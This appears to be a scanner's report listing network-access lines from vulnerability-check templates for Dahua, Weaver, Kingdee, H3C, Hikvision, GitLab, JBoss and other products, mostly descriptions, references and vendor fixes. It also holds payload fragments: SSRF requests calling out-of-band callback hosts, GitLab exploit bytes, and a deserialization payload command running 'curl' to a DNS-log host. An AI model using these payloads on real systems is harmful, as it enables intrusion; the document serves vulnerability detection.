fingerprint: 'Nginx UI' publish_time: "2026-03-06" bug_solve: "1、联系厂商打补丁或升级版本,厂商url:https://github.com/0xJacky/nginx-ui/releases;2、关闭互联网访问权限或限制页面访问权限。" - Network accessline 13
publish_time: "2026-03-06" bug_solve: "1、联系厂商打补丁或升级版本,厂商url:https://github.com/0xJacky/nginx-ui/releases;2、关闭互联网访问权限或限制页面访问权限。" bug_web: "https://github.com/0xJacky/nginx-ui/releases" - Network accessline 14
bug_solve: "1、联系厂商打补丁或升级版本,厂商url:https://github.com/0xJacky/nginx-ui/releases;2、关闭互联网访问权限或限制页面访问权限。" - Network accessline 15
bug_web: "https://github.com/0xJacky/nginx-ui/releases"
pocs/public/Dahua-image-ssrf.yaml
- Network accessline 7
description: 大华智慧园区综合管理平台image存在SSRF漏洞,攻击者可构造恶意请求扫描内网服务器,最终可能造成敏感数据泄漏。 reference: - https://mp.weixin.qq.com/s/f-tmmcaBu-nDMP6z8Bsj2Q - Network accessline 8
reference: - https://mp.weixin.qq.com/s/f-tmmcaBu-nDMP6z8Bsj2Q classification: - Network accessline 9
- https://mp.weixin.qq.com/s/f-tmmcaBu-nDMP6z8Bsj2Q - Network accessline 18
- raw: - | GET /ipms/imageConvert/image?fileUrl=http://{{interactsh-url}}v%7c%7c{{interactsh-url}}%7c%7c/{{rand_base(6)}}.jpg HTTP/1.1 - Network accessline 19
- | GET /ipms/imageConvert/image?fileUrl=http://{{interactsh-url}}v%7c%7c{{interactsh-url}}%7c%7c/{{rand_base(6)}}.jpg HTTP/1.1 Host: {{Hostname}} - Network accessline 20
GET /ipms/imageConvert/image?fileUrl=http://{{interactsh-url}}v%7c%7c{{interactsh-url}}%7c%7c/{{rand_base(6)}}.jpg HTTP/1.1
pocs/public/Dahua_ICC_serviceName_SQL.yaml
- Network accessline 7
description: 大华ICC智能物联综合管理平台 ars_list 接口 serviceName 参数存在 SQL 注入漏洞,未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。 reference: - "https://github.com/SourByte05/Vulnerability-Wiki-PoC/blob/ - Network accessline 8
reference: - "https://github.com/SourByte05/Vulnerability-Wiki-PoC/blob/c475889b16e41edce4aae57ff189046d34dfe4e7/2026/01/%E5%A4%A7%E5%8D%8EICC%E6%99%BA%E8%83%BD%E7%89%A9%E8%81%94%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0SQL%E6%B3%A8%E5%85%A5% - Network accessline 9
- "https://github.com/SourByte05/Vulnerability-Wiki-PoC/blob/c475889b16e41edce4aae57ff189046d34dfe4e7/2026/01/%E5%A4%A7%E5%8D%8EICC%E6%99%BA%E8%83%BD%E7%89%A9%E8%81%94%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4% - Network accessline 12
fingerprint: "大华智能物联综合管理平台" publish_time: "2026-01-04" bug_solve: "1、联系厂商打补丁或升级版本,厂商url:https://www.dahuatech.com;2、关闭互联网访问权限或限制页面访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" - Network accessline 13
publish_time: "2026-01-04" bug_solve: "1、联系厂商打补丁或升级版本,厂商url:https://www.dahuatech.com;2、关闭互联网访问权限或限制页面访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" bug_web: "https://www.dahuatech.com" - Network accessline 14
bug_solve: "1、联系厂商打补丁或升级版本,厂商url:https://www.dahuatech.com;2、关闭互联网访问权限或限制页面访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" - Network accessline 15
bug_web: "https://www.dahuatech.com"
pocs/public/Dify_upload_ssrf.yaml
- Network accessline 7
description: Dify开源LLMOps平台的/remote-files/upload接口可上传远程文件,攻击者通过伪造请求内容使服务器向指定目标发起未经授权的访问,造成SSRF漏洞。 reference: - https://mp.weixin.qq.com/s/Pww8EsO6qprKIGZ4SWVbIA - Network accessline 8
reference: - https://mp.weixin.qq.com/s/Pww8EsO6qprKIGZ4SWVbIA classification: - Network accessline 9
- https://mp.weixin.qq.com/s/Pww8EsO6qprKIGZ4SWVbIA - Network accessline 28
{"url":"http://{{interactsh-url}}"}
pocs/public/Druid-Monitor_weak-pass.yaml
- Network accessline 6
description: Alibaba Druid Monitor has a default password (admin:admin) that allows unauthorized access to database connection pool information and sensitive data. reference: - https://github.com/alibaba/druid - Network accessline 7
reference: - https://github.com/alibaba/druid classification: - Network accessline 8
- https://github.com/alibaba/druid
pocs/public/FE-ProxyServletUti-fileread.yaml
- Network accessline 8
飞企互联-FE企业运营管理平台是一个基于云计算、智能化、大数据、物联网、移动互联网等技术支撑的云工作台。飞企互联-FE企业运营管理平台ProxyServletUti接口存在任意文件读取,攻击者可利用该漏洞获取服务器敏感信息。 reference: - https://github.com/wy876/POC/blob/main/%E9%A3%9E%E4%BC%81%E4%BA%92%E8%81%94/%E9%A3%9E%E4%BC%81%E4%BA%92%E8%8 - Network accessline 9
reference: - https://github.com/wy876/POC/blob/main/%E9%A3%9E%E4%BC%81%E4%BA%92%E8%81%94/%E9%A3%9E%E4%BC%81%E4%BA%92%E8%81%94-FE%E4%BC%81%E4%B8%9A%E8%BF%90%E8%90%A5%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0ProxyServletUti%E5%AD%98%E5%9C%A8%E4 - Network accessline 10
- https://github.com/wy876/POC/blob/main/%E9%A3%9E%E4%BC%81%E4%BA%92%E8%81%94/%E9%A3%9E%E4%BC%81%E4%BA%92%E8%81%94-FE%E4%BC%81%E4%B8%9A%E8%BF%90%E8%90%A5%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0ProxyServletUti%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F - Network accessline 14
publish_time: "2024-04-16" dangers_type: "任意文件读取" bug_solve: "1、升级系统至最新版本,官方地址:https://www.flyrise.cn;2、关闭互联网暴露面或接口设置访问权限;3、在处理客户端输入的参数时,进行严格的验证和过滤,防止未授权的文件访问。" - Network accessline 15
dangers_type: "任意文件读取" bug_solve: "1、升级系统至最新版本,官方地址:https://www.flyrise.cn;2、关闭互联网暴露面或接口设置访问权限;3、在处理客户端输入的参数时,进行严格的验证和过滤,防止未授权的文件访问。" bug_web: "https://www.flyrise.cn/" - Network accessline 16
bug_solve: "1、升级系统至最新版本,官方地址:https://www.flyrise.cn;2、关闭互联网暴露面或接口设置访问权限;3、在处理客户端输入的参数时,进行严格的验证和过滤,防止未授权的文件访问。" - Network accessline 17
bug_web: "https://www.flyrise.cn/"
pocs/public/FQ_attachment_fileRead.yaml
- Network accessline 7
description: FE 办公协作平台是实现应用开发、运行、管理、维护的信息管理平台。飞企互联 FE 业务协作平台存在文件读取漏洞,攻击者可通过该漏洞读取系统重要文件获取大量敏感信息。 reference: - "https://mp.weixin.qq.com/s/NN-LqRr16viWuNI93cwNiA" - Network accessline 8
reference: - "https://mp.weixin.qq.com/s/NN-LqRr16viWuNI93cwNiA" metadata: - Network accessline 9
- "https://mp.weixin.qq.com/s/NN-LqRr16viWuNI93cwNiA" - Network accessline 12
fingerprint: "飞企互联-FE企业运营管理平台" publish_time: "2025-10-05" bug_solve: "1、联系厂商打补丁或升级版本,厂商url: https://www.flyrise.cn/;2、关闭互联网访问权限或限制页面访问权限;3、确保Web服务器进程只能访问必要的文件和目录,并且这些文件和目录的权限设置得当,不允许执行或写入操作。" - Network accessline 13
publish_time: "2025-10-05" bug_solve: "1、联系厂商打补丁或升级版本,厂商url: https://www.flyrise.cn/;2、关闭互联网访问权限或限制页面访问权限;3、确保Web服务器进程只能访问必要的文件和目录,并且这些文件和目录的权限设置得当,不允许执行或写入操作。" bug_web: "https://www.flyrise.cn/" - Network accessline 14
bug_solve: "1、联系厂商打补丁或升级版本,厂商url: https://www.flyrise.cn/;2、关闭互联网访问权限或限制页面访问权限;3、确保Web服务器进程只能访问必要的文件和目录,并且这些文件和目录的权限设置得当,不允许执行或写入操作。" - Network accessline 15
bug_web: "https://www.flyrise.cn/"
pocs/public/FW-E-Mobilecdnfile-fileRead.yaml
- Network accessline 8
泛微E-Mobile client/cdnfile 接口存在任意文件读取漏洞,未经身份验证攻击者可通过该漏洞读取系统重要文件、数据库配置文件等等。 reference: - https://github.com/wy876/POC/blob/main/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEE-Mobile%E7%B3%BB%E7%BB%9F%E6%8E%A5%E5%8F%A3cdnfile%E5%AD%98%E5%9C%A8 - Network accessline 9
reference: - https://github.com/wy876/POC/blob/main/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEE-Mobile%E7%B3%BB%E7%BB%9F%E6%8E%A5%E5%8F%A3cdnfile%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md - Network accessline 10
- https://github.com/wy876/POC/blob/main/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEE-Mobile%E7%B3%BB%E7%BB%9F%E6%8E%A5%E5%8F%A3cdnfile%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md - Network accessline 14
publish_time: "2024-09-20" dangers_type: "任意文件读取" bug_solve: "联系厂商打补丁或升级版本:https://www.weaver.com.cn/" - Network accessline 15
dangers_type: "任意文件读取" bug_solve: "联系厂商打补丁或升级版本:https://www.weaver.com.cn/" bug_web: "https://www.weaver.com.cn/" - Network accessline 16
bug_solve: "联系厂商打补丁或升级版本:https://www.weaver.com.cn/" - Network accessline 17
bug_web: "https://www.weaver.com.cn/"
pocs/public/FW_E-CologyLogin_security_key_infoleak.yaml
- Network accessline 7
description: 泛微E-cology 存在敏感信息泄露,攻击者可以利用该漏洞获取security.key,并通过security.key绕过身份验证,获取后台权限,最终可远程执行任意代码控制目标服务器。 reference: - "https://vip.bdziyi.com/58207/" - Network accessline 8
reference: - "https://vip.bdziyi.com/58207/" metadata: - Network accessline 9
- "https://vip.bdziyi.com/58207/" - Network accessline 12
fingerprint: "泛微OA" publish_time: "2025-07-09" bug_solve: "1、联系厂商打补丁或升级版本,厂商url: https://www.weaver.com.cn/;2、关闭互联网访问权限或限制页面访问权限。" - Network accessline 13
publish_time: "2025-07-09" bug_solve: "1、联系厂商打补丁或升级版本,厂商url: https://www.weaver.com.cn/;2、关闭互联网访问权限或限制页面访问权限。" bug_web: "https://www.weaver.com.cn/" - Network accessline 14
bug_solve: "1、联系厂商打补丁或升级版本,厂商url: https://www.weaver.com.cn/;2、关闭互联网访问权限或限制页面访问权限。" - Network accessline 15
bug_web: "https://www.weaver.com.cn/"
pocs/public/FW_cnhutoolcoreutilRuntimeUtil_RCE.yaml
- Network accessline 12
fingerprint: '泛微OA' publish_time: "2026-03-23" bug_solve: "1、联系厂商打补丁或升级版本,厂商url:https://www.weaver.com.cn/e10/index;2、关闭互联网访问权限或限制页面访问权限;3、执行命令函数前进行严格的检测和过滤。" - Network accessline 13
publish_time: "2026-03-23" bug_solve: "1、联系厂商打补丁或升级版本,厂商url:https://www.weaver.com.cn/e10/index;2、关闭互联网访问权限或限制页面访问权限;3、执行命令函数前进行严格的检测和过滤。" bug_web: "https://www.weaver.com.cn/e10/index" - Network accessline 14
bug_solve: "1、联系厂商打补丁或升级版本,厂商url:https://www.weaver.com.cn/e10/index;2、关闭互联网访问权限或限制页面访问权限;3、执行命令函数前进行严格的检测和过滤。" - Network accessline 15
bug_web: "https://www.weaver.com.cn/e10/index"
pocs/public/FW_getEmDsList_infoleak.yaml
- Network accessline 12
fingerprint: '泛微OA' publish_time: "2026-03-23" bug_solve: "1、联系厂商打补丁或升级版本,厂商url:https://www.weaver.com.cn/e10/index;2、关闭互联网访问权限或限制页面访问权限。" - Network accessline 13
publish_time: "2026-03-23" bug_solve: "1、联系厂商打补丁或升级版本,厂商url:https://www.weaver.com.cn/e10/index;2、关闭互联网访问权限或限制页面访问权限。" bug_web: "https://www.weaver.com.cn/e10/index" - Network accessline 14
bug_solve: "1、联系厂商打补丁或升级版本,厂商url:https://www.weaver.com.cn/e10/index;2、关闭互联网访问权限或限制页面访问权限。" - Network accessline 15
bug_web: "https://www.weaver.com.cn/e10/index"
pocs/public/FineReport_ReportSever_sqli.yaml
- Network accessline 7
description: FineReport 是帆软自主研发的企业级 Web 报表工具。帆软 FineReport /view/ReportSever 接口存在sqlite注入,攻击者能够利用该漏洞执行attach database写入jsp文件执行系统命令 reference: - https://x.threatbook.com/v5/vul/XVE-2024-18078?searchStr=XVE-2024-18078 - Network accessline 8
reference: - https://x.threatbook.com/v5/vul/XVE-2024-18078?searchStr=XVE-2024-18078 metadata: - Network accessline 9
- https://x.threatbook.com/v5/vul/XVE-2024-18078?searchStr=XVE-2024-18078 - Network accessline 13
publish_time: "2024-07-23" dangers_type: "SQL注入" bug_solve: "1、安装web应用防火墙插件:请安装并配置相应的最新版Web应用防火墙插件。您可以通过以下链接https://help.fanruan.com/finereport/doc-view-5287.html获取插件,并在解决方案部分找到配置方法。2、调整配置文件:在url.properties文件中,请添加以下规则:rule3=/view/Re - Network accessline 14
dangers_type: "SQL注入" bug_solve: "1、安装web应用防火墙插件:请安装并配置相应的最新版Web应用防火墙插件。您可以通过以下链接https://help.fanruan.com/finereport/doc-view-5287.html获取插件,并在解决方案部分找到配置方法。2、调整配置文件:在url.properties文件中,请添加以下规则:rule3=/view/ReportServer、rule4=/view/ReportSe - Network accessline 15
bug_solve: "1、安装web应用防火墙插件:请安装并配置相应的最新版Web应用防火墙插件。您可以通过以下链接https://help.fanruan.com/finereport/doc-view-5287.html获取插件,并在解决方案部分找到配置方法。2、调整配置文件:在url.properties文件中,请添加以下规则:rule3=/view/ReportServer、rule4=/view/ReportServer/ 3、删除sqlite 驱动:请从工程的w - Network accessline 16
bug_web: "https://www.fanruan.com/"
pocs/public/GB28181_Camera_unauthorized_access.yaml
- Network accessline 7
description: GB28181支持多种音视频编解码标准,如H.264、H.265、MPEG4、MJPEG等,同时支持基于SIP、RTP、RTSP、HTTP等协议的通信。GB28181摄像头管理平台api接口处存在未授权漏洞,恶意攻击者可以通过此漏洞获取到登录信息,从而登录到后台,使服务器处于不安全的状态 reference: - https://mp.weixin.qq.com/s/VsrlIFCpnnGmxISonPA5AA - Network accessline 8
reference: - https://mp.weixin.qq.com/s/VsrlIFCpnnGmxISonPA5AA metadata: - Network accessline 9
- https://mp.weixin.qq.com/s/VsrlIFCpnnGmxISonPA5AA - Network accessline 13
publish_time: "2024-05-13" dangers_type: "信息泄露" bug_solve: "关注厂商官网及时更新补丁:http://www.ntvgbs.com/" - Network accessline 14
dangers_type: "信息泄露" bug_solve: "关注厂商官网及时更新补丁:http://www.ntvgbs.com/" bug_web: "http://www.ntvgbs.com/" - Network accessline 15
bug_solve: "关注厂商官网及时更新补丁:http://www.ntvgbs.com/" - Network accessline 16
bug_web: "http://www.ntvgbs.com/"
pocs/public/GXRLZY-ReportServer-info.yaml
- Network accessline 8
高校人力资源管理系统实现了招聘全流程线上管理,涵盖职位发布、简历筛选、面试安排、候选人状态跟踪、录用通知等多方面内容。高校人力资源管理系统ReportServer存在敏感信息泄露漏洞,攻击者可通过漏洞获取账号密码等敏感信息。 reference: - https://github.com/wy876/POC/blob/main/EDU/%E9%AB%98%E6%A0%A1%E4%BA%BA%E5%8A%9B%E8%B5%84%E6%BA%90%E7%AE%A1%E - Network accessline 9
reference: - https://github.com/wy876/POC/blob/main/EDU/%E9%AB%98%E6%A0%A1%E4%BA%BA%E5%8A%9B%E8%B5%84%E6%BA%90%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9FReportServer%E5%AD%98%E5%9C%A8%E6%95%8F%E6%84%9F%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E6%BC - Network accessline 10
- https://github.com/wy876/POC/blob/main/EDU/%E9%AB%98%E6%A0%A1%E4%BA%BA%E5%8A%9B%E8%B5%84%E6%BA%90%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9FReportServer%E5%AD%98%E5%9C%A8%E6%95%8F%E6%84%9F%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E6%BC%8F%E6%B4%9E.md
pocs/public/GitLab-CVE-2021-22205.yaml
- Network accessline 10
所有版本。 reference: - "https://www.ddosi.org/cve-2021-22205/" - Network accessline 11
reference: - "https://www.ddosi.org/cve-2021-22205/" - "https://github.com/RedTeamWing/CVE-2021-22205" - Network accessline 12
- "https://www.ddosi.org/cve-2021-22205/" - Network accessline 13
- "https://github.com/RedTeamWing/CVE-2021-22205" - Network accessline 45
AT&TFORM\x00\x00\x03\xafDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00\x00\xac\xff\xff\xde\xbf\x99 !\xc8\x91N\xeb\x0c\x07\x1f\xd2\xda\x88\xe8k\xe6D\x0f,q\x02\xeeI\xd3n\x95\xbd\xa2\xc3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\x0
pocs/public/Grafana_infoleak.yaml
- Network accessline 7
description: Grafana是一个开源的可视化和分析平台,其中多个接口存在未授权访问漏洞,攻击者可以在未授权情况下获取敏感信息。 reference: - "https://grafana.com/" - Network accessline 8
reference: - "https://grafana.com/" metadata: - Network accessline 9
- "https://grafana.com/" - Network accessline 12
fingerprint: "Grafana" publish_time: "2025-06-12" bug_solve: "1、关注厂商官网获取补丁或更新版本,官网url:https://grafana.com/;2、关闭互联网暴露面或接口设置访问权限。" - Network accessline 13
publish_time: "2025-06-12" bug_solve: "1、关注厂商官网获取补丁或更新版本,官网url:https://grafana.com/;2、关闭互联网暴露面或接口设置访问权限。" bug_web: "https://grafana.com/" - Network accessline 14
bug_solve: "1、关注厂商官网获取补丁或更新版本,官网url:https://grafana.com/;2、关闭互联网暴露面或接口设置访问权限。" - Network accessline 15
bug_web: "https://grafana.com/" - Network accessline 27
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36 x-grafana-org-id: 1 Referer: http://{{Hostname}}/alerting/notifications?search=open&query=1 - Network accessline 28
x-grafana-org-id: 1 Referer: http://{{Hostname}}/alerting/notifications?search=open&query=1 Accept-Encoding: gzip, deflate - Network accessline 29
Referer: http://{{Hostname}}/alerting/notifications?search=open&query=1
pocs/public/H3C-iMC-ViewState-RCE.yaml
- Network accessline 8
H3C iMC智能管理中心 /byod/index.xhtml、/selfservice/login.jsf、/rpt/reportpage/loginrpt.jsf等多个接口处存在远程代码执行漏洞,未经身份攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个 web 服务器。该漏洞利用难度较低,建议受影响的用户尽快修复。 reference: - https://github.com/wy876/POC/blob/main/H3C-i - Network accessline 9
reference: - https://github.com/wy876/POC/blob/main/H3C-iMC%E6%99%BA%E8%83%BD%E7%AE%A1%E7%90%86%E4%B8%AD%E5%BF%83%E5%AD%98%E5%9C%A8%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E(XVE-2024-4567).md metadata: - Network accessline 10
- https://github.com/wy876/POC/blob/main/H3C-iMC%E6%99%BA%E8%83%BD%E7%AE%A1%E7%90%86%E4%B8%AD%E5%BF%83%E5%AD%98%E5%9C%A8%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E(XVE-2024-4567).md - Network accessline 14
publish_time: "2024-08-10" dangers_type: "命令执行" bug_solve: "联系厂商打补丁或升级版本:https://www.h3c.com" - Network accessline 15
dangers_type: "命令执行" bug_solve: "联系厂商打补丁或升级版本:https://www.h3c.com" bug_web: "https://www.h3c.com/" - Network accessline 16
bug_solve: "联系厂商打补丁或升级版本:https://www.h3c.com" - Network accessline 17
bug_web: "https://www.h3c.com/"
pocs/public/H3C-iMC-autoDeploy-RCE.yaml
- Network accessline 8
H3C iMC智能管理中心autoDeploy.xhtmlf等多个接口处存在远程代码执行漏洞,未经身份攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个 web 服务器。该漏洞利用难度较低,建议受影响的用户尽快修复。 reference: - https://github.com/wy876/POC/blob/main/H3C-iMC%E6%99%BA%E8%83%BD%E7%AE%A1%E7%90%86%E4%B8%AD%E5%BF - Network accessline 9
reference: - https://github.com/wy876/POC/blob/main/H3C-iMC%E6%99%BA%E8%83%BD%E7%AE%A1%E7%90%86%E4%B8%AD%E5%BF%83autoDeploy.xhtml%E5%AD%98%E5%9C%A8%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md metadata: - Network accessline 10
- https://github.com/wy876/POC/blob/main/H3C-iMC%E6%99%BA%E8%83%BD%E7%AE%A1%E7%90%86%E4%B8%AD%E5%BF%83autoDeploy.xhtml%E5%AD%98%E5%9C%A8%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md - Network accessline 14
publish_time: "2024-08-10" dangers_type: "命令执行" bug_solve: "联系厂商打补丁或升级版本:https://www.h3c.com/" - Network accessline 15
dangers_type: "命令执行" bug_solve: "联系厂商打补丁或升级版本:https://www.h3c.com/" bug_web: "https://www.h3c.com/" - Network accessline 16
bug_solve: "联系厂商打补丁或升级版本:https://www.h3c.com/" - Network accessline 17
bug_web: "https://www.h3c.com/"
pocs/public/HST_Meeting_upLoad2jsp_File_Upload.yaml
- Network accessline 13
publish_time: '2023-03-08' dangers_type: 文件上传 bug_solve: 目前厂商尚未提供相关漏洞补丁链接,请关注厂商主页随时更新:https://www.hst.com/ - Network accessline 14
dangers_type: 文件上传 bug_solve: 目前厂商尚未提供相关漏洞补丁链接,请关注厂商主页随时更新:https://www.hst.com/ bug_web: https://www.hst.com/ - Network accessline 15
bug_solve: 目前厂商尚未提供相关漏洞补丁链接,请关注厂商主页随时更新:https://www.hst.com/ - Network accessline 16
bug_web: https://www.hst.com/
pocs/public/Hikvision-CVE-2021-36260.yaml
- Network accessline 8
A command injection vulnerability exists in the web module of some Hikvision products. Due to insufficient validation of input parameters, an attacker can send malicious commands to affected devices, resulting in remote code execution. re - Network accessline 9
reference: - https://github.com/Aiminsun/CVE-2021-36260 - https://nvd.nist.gov/vuln/detail/CVE-2021-36260 - Network accessline 10
- https://github.com/Aiminsun/CVE-2021-36260 - Network accessline 11
- https://nvd.nist.gov/vuln/detail/CVE-2021-36260
pocs/public/Hikvision-iSecure-Center-RCE.yaml
- Network accessline 9
攻击者可通过发送精心构造的 JNDI 注入请求,在目标服务器上执行任意命令。 reference: - "https://github.com/Asoh42/2022hw-vuln/blob/51ce7af0ab7007676e4160516fc8ed3b0caf883b/hw2022poc%E6%A2%B3%E7%90%86.md" - Network accessline 10
reference: - "https://github.com/Asoh42/2022hw-vuln/blob/51ce7af0ab7007676e4160516fc8ed3b0caf883b/hw2022poc%E6%A2%B3%E7%90%86.md" classification: - Network accessline 11
- "https://github.com/Asoh42/2022hw-vuln/blob/51ce7af0ab7007676e4160516fc8ed3b0caf883b/hw2022poc%E6%A2%B3%E7%90%86.md"
pocs/public/Hikvision_iSecure_Center_applyST_RCE.yaml
- Network accessline 8
海康威视运行管理中心系统使用低版本的fastjson,攻击者可在未鉴权情况下获取服务器权限,且由于存在相关依赖,即使服务器不出网无法远程加载恶意类也可通过本地链直接命令执行,从而获取服务器权限。 reference: - https://github.com/wy876/POC/blob/main/%E6%B5%B7%E5%BA%B7%E5%A8%81%E8%A7%86/%E6%B5%B7%E5%BA%B7%E5%A8%81%E8%A7%86%E8%BF%90%E - Network accessline 9
reference: - https://github.com/wy876/POC/blob/main/%E6%B5%B7%E5%BA%B7%E5%A8%81%E8%A7%86/%E6%B5%B7%E5%BA%B7%E5%A8%81%E8%A7%86%E8%BF%90%E8%A1%8C%E7%AE%A1%E7%90%86%E4%B8%AD%E5%BF%83applyST%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A - Network accessline 10
- https://github.com/wy876/POC/blob/main/%E6%B5%B7%E5%BA%B7%E5%A8%81%E8%A7%86/%E6%B5%B7%E5%BA%B7%E5%A8%81%E8%A7%86%E8%BF%90%E8%A1%8C%E7%AE%A1%E7%90%86%E4%B8%AD%E5%BF%83applyST%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E - Network accessline 14
publish_time: "2024-12-14" dangers_type: "命令执行" bug_solve: "联系厂商打补丁或升级版本,厂商url: https://www.hikvision.com/cn/" - Network accessline 15
dangers_type: "命令执行" bug_solve: "联系厂商打补丁或升级版本,厂商url: https://www.hikvision.com/cn/" bug_web: "https://www.hikvision.com/cn/" - Network accessline 16
bug_solve: "联系厂商打补丁或升级版本,厂商url: https://www.hikvision.com/cn/" - Network accessline 17
bug_web: "https://www.hikvision.com/cn/"
pocs/public/InfluxDB_CVE-2019-20933_SQL.yaml
- Network accessline 8
InfluxDB 1.7.6 and earlier has an authentication bypass vulnerability in the httpd service handler. A JWT token with an empty shared secret can be forged, allowing attackers to authenticate as any user and access the database. reference: - Network accessline 9
reference: - https://starlabs.sg/advisories/24/24-6781/ - https://nvd.nist.gov/vuln/detail/CVE-2019-20933 - Network accessline 10
- https://starlabs.sg/advisories/24/24-6781/ - Network accessline 11
- https://nvd.nist.gov/vuln/detail/CVE-2019-20933
pocs/public/JBoss-CVE-2017-12149.yaml
- Network accessline 15
并通过 DNSLog 反连验证漏洞。 reference: - "https://vulhub.org/#/environments/jboss/CVE-2017-12149/" - Network accessline 16
reference: - "https://vulhub.org/#/environments/jboss/CVE-2017-12149/" - "https://nvd.nist.gov/vuln/detail/CVE-2017-12149" - Network accessline 17
- "https://vulhub.org/#/environments/jboss/CVE-2017-12149/" - Network accessline 18
- "https://nvd.nist.gov/vuln/detail/CVE-2017-12149" - Network accessline 34
# python {SKILL_ROOT}/scripts/deserialization_payload.py \ # --gadget CommonsCollections5 \ # --command "curl http://<dnslog-domain>" \ - Network accessline 35
# --gadget CommonsCollections5 \ # --command "curl http://<dnslog-domain>" \ # --format raw \ - Network accessline 36
# --command "curl http://<dnslog-domain>" \
pocs/public/Kingdee-Cloud-READ.yaml
- Network accessline 8
由于金蝶云星空CommonFileServer接口处权限设置不当,未经身份认证的攻击者可以利用此漏洞访问服务器上的任意文件,包括数据库凭据、API密钥、配置文件等,从而获取系统权限和敏感信息。 reference: https://blog.csdn.net/qq_41904294/article/details/132030706 - Network accessline 9
reference: https://blog.csdn.net/qq_41904294/article/details/132030706 metadata: - Network accessline 10
https://blog.csdn.net/qq_41904294/article/details/132030706
pocs/public/Kingdee-FileproxyHandler-fileRead.yaml
- Network accessline 7
description: 金蝶云星空管理中心FileProxyHandler.kdfile存在任意文件读取漏洞,未经授权的攻击者可以读取服务器上的任意文件,从而获取系统权限和敏感信息。 reference: - "https://mp.weixin.qq.com/s/gLNU4upYCt8iHPkAi7_DCw" - Network accessline 8
reference: - "https://mp.weixin.qq.com/s/gLNU4upYCt8iHPkAi7_DCw" metadata: - Network accessline 9
- "https://mp.weixin.qq.com/s/gLNU4upYCt8iHPkAi7_DCw" - Network accessline 12
fingerprint: "金蝶 K3Cloud" publish_time: "2023-10-26" bug_solve: "1、关注厂商官网获取补丁或更新版本:https://vip.kingdee.com;2、关闭互联网暴露面或接口设置访问权限;3、在处理客户端输入的参数时,进行严格的验证和过滤,防止未授权的文件访问。" - Network accessline 13
publish_time: "2023-10-26" bug_solve: "1、关注厂商官网获取补丁或更新版本:https://vip.kingdee.com;2、关闭互联网暴露面或接口设置访问权限;3、在处理客户端输入的参数时,进行严格的验证和过滤,防止未授权的文件访问。" bug_web: "https://vip.kingdee.com" - Network accessline 14
bug_solve: "1、关注厂商官网获取补丁或更新版本:https://vip.kingdee.com;2、关闭互联网暴露面或接口设置访问权限;3、在处理客户端输入的参数时,进行严格的验证和过滤,防止未授权的文件访问。" - Network accessline 15
bug_web: "https://vip.kingdee.com"
pocs/public/Kingdee-erp-Unserialize-RCE.yaml
- Network accessline 7
description: 金蝶云星空 Kingdee-erp-Unserialize-RCE漏洞 reference: | https://github.com/Sweelg/Kingdee-erp-Unserialize-RCE/ - Network accessline 8
reference: | https://github.com/Sweelg/Kingdee-erp-Unserialize-RCE/ remediation: | - Network accessline 9
https://github.com/Sweelg/Kingdee-erp-Unserialize-RCE/
pocs/public/Kingdee-erp_DynamicFormService_rce.yaml
- Network accessline 7
description: 金蝶云星空管理中心在DynamicFormService存在反序列化漏洞,外部攻击者可通过使用恶意攻击手段对目标系统进行权限获取,进而接管服务器控制权。 reference: - "https://github.com/MzzdToT/Kingdee_erp_Unserialize_rce/tree/main" - Network accessline 8
reference: - "https://github.com/MzzdToT/Kingdee_erp_Unserialize_rce/tree/main" metadata: - Network accessline 9
- "https://github.com/MzzdToT/Kingdee_erp_Unserialize_rce/tree/main" - Network accessline 12
